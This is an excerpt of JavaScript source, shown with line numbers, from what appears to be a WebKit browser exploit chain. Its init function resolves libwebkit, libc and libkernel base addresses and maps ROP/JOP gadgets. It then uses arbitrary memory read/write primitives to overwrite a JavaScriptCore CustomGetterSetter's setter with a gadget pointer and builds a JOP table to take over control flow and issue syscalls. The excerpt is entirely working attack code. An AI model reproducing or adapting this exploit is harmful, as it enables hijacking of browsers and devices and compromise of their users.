(Chain)
| 206 | export const Chain = Chain750; |
| 207 | |
| 208 | export function init(Chain) { |
| 209 | const syscall_array = []; |
| 210 | [libwebkit_base, libkernel_base, libc_base] = get_bases(); |
| 211 | |
| 212 | init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); |
| 213 | init_gadget_map(gadgets, libc_gadget_offsets, libc_base); |
| 214 | init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); |
| 215 | init_syscall_array(syscall_array, libkernel_base, 300 * KB); |
| 216 | |
| 217 | let gs = Object.getOwnPropertyDescriptor(window, "location").set; |
| 218 | // JSCustomGetterSetter.m_getterSetter |
| 219 | gs = mem.addrof(gs).readp(0x28); |
| 220 | |
| 221 | // sizeof JSC::CustomGetterSetter |
| 222 | const size_cgs = 0x18; |
| 223 | const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); |
| 224 | mem.cpy(gc_buf, gs, size_cgs); |
| 225 | // JSC::CustomGetterSetter.m_setter |
| 226 | gc_buf.write64(0x10, get_gadget(gadgets, jop1)); |
| 227 | |
| 228 | const proto = Chain.prototype; |
| 229 | // _rop must have a descriptor initially in order for the structure to pass |
| 230 | // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a |
| 231 | // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that |
| 232 | // checks for any descriptor to run |
| 233 | // |
| 234 | // the butterfly's indexing type must be something the GC won't inspect |
| 235 | // like DoubleShape. it will be used to store the JOP table's pointer |
| 236 | const _rop = { |
| 237 | get launch() { |
| 238 | throw Error("never call"); |
| 239 | }, |
| 240 | 0: 1.1, |
| 241 | }; |
| 242 | // replace .launch with the actual custom getter/setter |
| 243 | mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); |
| 244 | proto._rop = _rop; |
| 245 | |
| 246 | // JOP table |
| 247 | const rax_ptrs = new BufferView(0x100); |
| 248 | const rax_ptrs_p = get_view_vector(rax_ptrs); |
| 249 | proto._rax_ptrs = rax_ptrs; |
| 250 | |
| 251 | rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); |
| 252 | rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); |
| 253 | rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); |
| 254 | rax_ptrs.write64(0, get_gadget(gadgets, jop5)); |
| 255 | |
| 256 | const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); |
| 257 | jop_buffer_p.write64(0, rax_ptrs_p); |
| 258 | |
| 259 | const empty = {}; |
| 260 | proto._empty_cell = mem.addrof(empty).read64(off.js_cell); |
| 261 | |
| 262 | Chain.init_class(gadgets, syscall_array); |
| 263 | } |
nothing calls this directly
no test coverage detected